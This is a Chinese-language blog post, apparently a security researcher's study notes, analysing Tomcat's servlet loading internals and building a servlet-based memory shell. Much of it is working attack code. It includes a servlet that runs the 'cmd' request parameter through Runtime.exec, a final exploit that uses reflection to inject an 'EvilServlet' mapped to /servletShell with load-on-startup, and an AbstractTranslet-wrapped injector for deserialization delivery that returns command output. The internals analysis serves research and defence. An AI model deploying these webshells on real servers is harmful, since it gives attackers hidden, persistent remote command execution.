servlet基础实现
servlet接口有几个实现方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | public interface Servlet {  void init(ServletConfig var1) throws ServletException;
 
 ServletConfig getServletConfig();
 
 void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
 
 String getServletInfo();
 
 void destroy();
 }
 
 | 
写一个基础的servlet实现,再在webxml里面装配
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | package servlet;
 import javax.servlet.*;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.Scanner;
 
 public class ServletTest implements Servlet {
 @Override
 public void init(ServletConfig config) throws ServletException {
 
 }
 
 @Override
 public ServletConfig getServletConfig() {
 return null;
 }
 
 @Override
 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
 String cmd = req.getParameter("cmd");
 if (cmd !=null){
 try{
 Runtime.getRuntime().exec(cmd);
 }catch (IOException e){
 e.printStackTrace();
 }catch (NullPointerException n){
 n.printStackTrace();
 }
 }
 }
 
 @Override
 public String getServletInfo() {
 return null;
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
servlet流程分析
获取http请求
把断点放在servlet实现的service()方法,看一下调用栈

这里可以看到前面的都是filter的内容,正式开始分析把断点下在init()位置
看调用栈,把断点放到Http11Processor.service()方法

HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。
一直走到后面,有一个
| 1
 | getAdapter().service(request, response);
 | 
进去到CoyoteAdapter.service()方法,CoyoteAdapter 是 Processor 和 Valve 之间的适配器。

这里传参用的是org.apache.coyote.Request和org.apache.coyote,Response,也有对getNote()方法的调用
对应的getNote()方法

都是从notes数组取出指定pos对象,此时是notes[1],notes[1]是在CoyoteAdapter.service()里面设置的
然后出来,在CoyoteAdapter有一些简单的赋值,来到
| 1
 | connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
 | 
这句是service方法的关键,有多个方法,一个一个看,此时connector是http包

接下来看getService()方法

connector.getService() 返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象

connector.getService().getContainer() 返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。

connector.getService().getContainer().getPipeline() 返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象

差不多就是一个一个获取这些,返回一个StandardEngineValve,最后走到StandardEngineValve.invoke()
进到invoke后内容就和filter差不多,多个invoke层层调用。综合就是获取一个HTTP请求,进行预处理的过程
读取webxml
断点下在ContextConfig.webConfig()

中间读取webxml文件,获取listener,filter等,重点在后面有一个 configureContext(webXml);跟进
里面也是先获取filter,listener之类的,再往下,有对servlet的读取
创建与装载StandardWrapper

这里就是在创建wrapper,再往下
分别有获取servletName,获取servletClass,获取Runas

再到这里会将 Wrapper 添加到 context 中,这里对应的是 StandardContext。
此时要思考wrapper包含恶意的servlet内存马,那最后wrapper会到哪里?
跟进addChild方法看一下,可以看到他是StandardContext里面的方法

会先判断这两个servlet是不是JSP的servlet,然后进到 super.addChild(child)
会进到ContainerBase 类的 addChild() 方法判断了是否开启全局安全这个配置

继续往下会到 addChildInternal(child)方法里面,前面有一些判断,不是很重要
直到后面有一个 `child.start();

Start()方法里面会启动一个线程,前面做一些基础的日志判断,后面会走到init()方法里面,也是一些简单基础的赋值
比较重要的是后面的的startInternal(),然后就走到StandardContext.startInternal()里面

一直往下走,调用了一个fireLifecycleEvent()方法,主要是解析webxml

后面又走着走着到 ContextConfig#configureContext()把webxml再装配一遍
然后addChild() 方法把 servlet 放进了 children 里面,children 也就是 StandardWrapper
在 addChild() 方法之后,调用 addServletMappingDecoded() 方法添加映射关系。将 url 路径和 servlet 类做映射。
总结这个过程
- 通过 context.createWapper()创建 Wapper 对象;
- 设置 Servlet 的 LoadOnStartUp的值;
- 设置 Servlet 的 Name ;
- 设置 Servlet 对应的 Class ;
- 将 Servlet 添加到 context 的 children 中;
- 将 url 路径和 servlet 类做映射。
加载servlet
前面停在addChild()以及之后addServletMappingDecoded() 方法添加映射
在StandardContext#startInternal 中,进了 fireLifecycleEvent() 方法,又做了一遍 StandardWrapper 装载的工作。
现在重回StandardContext的startInternal里面,走到fireLifecycleEvent()方法里
有一个loadOnStartup()

里面对loadOnStartup这个属性进行判断
这个参数的意思:在servlet配置中,<load-on-startup>1</load-on-startup>的意思是标记容器是否在启动时就加载这个servlet,当值大于0或为0是,表示容器在应用启动时就加载这个servlet,当是负数或没有指定是,则表示容器在该servlet被选择时才加载,正数值越小,启动时servlet的优先级越高
如果在webxml里面这么配置
| 1
 | <load-on-startup>1</load-on-startup>
 | 
这对应了Tomcat servlet的懒加载机制
虽然webxml的内容不可控,但是如果要把恶意servlet放到最前面去加载,这是一个思路
小结一下
获取http请求,做一些预处理;后面读取webxml,在webconfig里面创建standardWrapper,servlet保存到standardWrapper,后续wrapper放到context里面
创建和加载完毕后,也需要把加载的servlet从standardWrapper读取出来,这过程涉及一个重要的属性值loadOnStartUp
攻击
前辈师傅给的思路依旧非常清晰,servlet内存马攻击思路也很好理解
有一个恶意servlet,装配到standardWrapper里面,standardWrapper装到standardContext里面,然后有addServletMappingDecoded()方法添加url路径映射,这样就算攻击完成

那我们需要
- 编写恶意servlet
- 获取standardContext对象
- 通过 StandardContext.createWrapper()创建StandardWrapper对象
- 设置servlet的name,对应class等属性
- 重点设置loadOnStartUp属性值
- 将wrapper加到context里面(对应children属性)
- 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
最终exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 
 | package servlet;
 import org.apache.catalina.Wrapper;
 import org.apache.catalina.connector.Request;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.StandardContext;
 import org.apache.catalina.core.StandardWrapper;
 
 import javax.servlet.*;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.lang.reflect.Field;
 import java.util.Scanner;
 
 @WebServlet("/servletShell")
 public class ServletShell extends HttpServlet {
 protected  void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 
 Servlet servlet = new Servlet() {
 @Override
 public void init(ServletConfig config) throws ServletException {
 
 }
 
 @Override
 public ServletConfig getServletConfig() {
 return null;
 }
 
 @Override
 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
 String cmd = req.getParameter("cmd");
 System.out.println("恶意servlet被调用");
 if (req.getParameter("cmd") != null) {
 
 InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
 
 Scanner s = new Scanner(in).useDelimiter("\\A");
 String output = s.hasNext() ? s.next() : "";
 res.getWriter().write(output);
 }
 }
 
 @Override
 public String getServletInfo() {
 return "";
 }
 
 @Override
 public void destroy() {
 
 }
 };
 
 try{
 
 ServletContext servletContext = request.getSession().getServletContext();
 
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
 Wrapper wrapper = standardContext.createWrapper();
 wrapper.setLoadOnStartup(1);
 wrapper.setName("EvilServlet");
 wrapper.setServlet(servlet);
 wrapper.setServletClass(servlet.getClass().getName());
 
 standardContext.addChild(wrapper);
 standardContext.addServletMappingDecoded("/servletShell", "EvilServlet");
 response.getWriter().write("Success");
 }catch(Exception e){}
 }
 }
 
 | 
顺便套一个内存马版本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.apache.catalina.Wrapper;
 import org.apache.catalina.connector.Request;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.StandardContext;
 import org.apache.catalina.core.StandardWrapper;
 
 import javax.servlet.*;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.lang.reflect.Field;
 
 public class ServletInject extends AbstractTranslet implements Servlet {
 static{
 try {
 ServletContext servletContext = getServletContext();
 Servlet servlet = new ServletInject();
 
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 Wrapper wrapper = standardContext.createWrapper();
 wrapper.setLoadOnStartup(1);
 wrapper.setName("EvilServlet");
 wrapper.setServlet(servlet);
 wrapper.setServletClass(servlet.getClass().getName());
 
 standardContext.addChild(wrapper);
 standardContext.addServletMappingDecoded("/servletShell", "EvilServlet");
 System.out.println("Servlet Injected");
 }catch (Exception e){}
 }
 
 private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
 ServletContext servletContext = null;
 
 try {
 Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
 Field lastServicedRequestField = c.getDeclaredField("lastServicedRequest");
 lastServicedRequestField.setAccessible(true);
 ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
 
 if (threadLocal != null && threadLocal.get() != null) {
 ServletRequest servletRequest = (ServletRequest) threadLocal.get();
 servletContext = servletRequest.getServletContext();
 }
 } catch (Exception e) {
 
 }
 return servletContext;
 }
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 
 @Override
 public void init(ServletConfig config) throws ServletException {
 
 }
 
 @Override
 public ServletConfig getServletConfig() {
 return null;
 }
 
 @Override
 public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
 System.out.println("执行了恶意servlet");
 HttpServletRequest req = (HttpServletRequest) request;
 String cmd = req.getParameter("cmd");
 if (cmd != null && !cmd.isEmpty()) {
 try {
 Process process = Runtime.getRuntime().exec(cmd);
 java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
 new java.io.InputStreamReader(process.getInputStream()));
 StringBuilder stringBuilder = new StringBuilder();
 String line;
 while ((line = bufferedReader.readLine()) != null) {
 stringBuilder.append(line + '\n');
 }
 response.getOutputStream().write(stringBuilder.toString().getBytes());
 response.getOutputStream().flush();
 response.getOutputStream().close();
 return;
 } catch (Exception e) {
 response.getWriter().write("Command execution failed: " + e.getMessage());
 return;
 }
 }
 }
 
 @Override
 public String getServletInfo() {
 return "";
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
参考
https://drun1baby.top/2022/09/04/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-05-Tomcat-%E4%B9%8B-Servlet-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/